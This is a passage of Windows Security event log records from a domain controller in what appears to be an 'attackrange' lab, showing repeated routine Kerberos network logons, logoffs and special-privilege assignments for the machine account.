ATTACKRANGE.LOCAL - Logon ID: 0xD76E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64158 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249161 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD76E9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249160 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD7688 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249159 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD7688 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64157 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249158 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD7688 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249157 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD760C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249156 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD760C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64156 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249155 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD760C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249154 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD75AB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249153 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD75AB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64155 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249152 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD75AB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249175 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9B48 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249174 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD9B48 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64162 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249173 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9B48 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249172 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9AE7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249171 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD9AE7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64161 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249170 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9AE7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249169 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9A81 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249168 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD9A81 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64160 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249167 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9A81 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249166 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9A20 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249165 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD9A20 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64159 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:15 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249164 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD9A20 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249190 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFFCF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249189 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xDFFCF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64168 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249188 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFFCF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249187 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFF6E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249186 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xDFF6E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64167 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:16 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249185 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xDFF6E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - 